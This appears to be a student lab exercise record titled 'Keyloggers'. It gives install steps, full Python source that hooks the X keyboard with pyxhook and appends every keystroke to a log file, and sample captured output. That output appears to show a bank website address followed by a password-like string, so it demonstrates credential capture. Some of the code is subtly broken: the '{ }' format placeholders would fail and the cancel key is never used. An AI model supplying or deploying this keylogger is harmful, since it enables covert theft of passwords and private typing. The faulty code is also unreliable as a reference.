

EXP NO:7

DATE:

KEYLOGGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:

- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```
import os
import pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/.Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '~')[0])

if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        pass

def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
```

```
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress

new_hook.HookKeyboard()

try:
    new_hook.start()
except KeyboardInterrupt:
    pass
except Exception as ex:
    msg = 'Error while catching events:\n{ }'.format(ex)
    with open(log_file, 'a') as f:
        f.write('\n{ }'.format(msg))
```

Output:

```
w
w
w
period
h
d
f
c
b
a
n
k
period
c
o
m
Return
3
0
0
```

9

1

2

3

Shift_L

I

n

d

i

a

9

0

Shift_L

dollar

percent

Result: